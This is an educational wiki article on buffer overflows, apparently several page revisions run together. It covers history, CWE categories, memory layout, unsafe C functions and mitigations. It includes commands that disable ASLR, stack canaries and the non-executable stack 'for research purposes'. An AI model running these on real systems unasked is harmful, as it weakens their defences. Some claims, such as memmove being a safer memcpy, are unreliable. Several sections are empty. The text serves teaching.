* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter''' and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* '''Stack section''' - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* '''Heap section''' - memory that is dynamically allocated during program run time
* '''Data section''' - global variables (initialized and uninitialized)
* '''Code/Text section''' - the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:16:34Z

AKofranek: /* The Stack and Important Control Structures */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter''' and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* '''Stack section''' - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* '''Heap section''' - memory that is dynamically allocated during program run time
* '''Data section''' - global variables (initialized and uninitialized)
* '''Code/Text section''' - the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function.<ref name=”One1996”/>

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:15:32Z

AKofranek: /* Readable, Writeable, Executable Memory */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter''' and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* '''Stack section''' - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* '''Heap section''' - memory that is dynamically allocated during program run time
* '''Data section''' - global variables (initialized and uninitialized)
* '''Code/Text section''' - the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name=”One1996”/>

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
